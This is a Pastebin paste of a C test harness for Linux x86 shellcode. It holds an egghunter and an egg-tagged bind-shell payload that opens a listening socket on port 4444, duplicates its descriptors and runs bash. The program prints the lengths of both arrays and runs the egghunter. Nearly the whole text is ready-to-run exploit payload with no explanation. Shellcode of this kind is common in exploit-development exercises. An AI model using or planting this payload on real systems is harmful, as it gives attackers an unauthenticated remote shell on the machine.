Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<stdio.h>
- #include<string.h>
- unsigned char code[] = \
- "\x90\x50\x90\x50\x90\x50\x90\x50"
- "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xdb\x53\x66\x68\x11\x5c\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\x31\xc0\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xd2\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xd2\x52\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
- unsigned char egghunter[] = \
- "\x31\xc9\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
- main()
- {
- printf("Egghunter Length: %d\n",strlen(egghunter));
- printf("Shellcode Length: %d\n", strlen(code));
- int (*ret)() = (int(*)())egghunter;
- ret();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement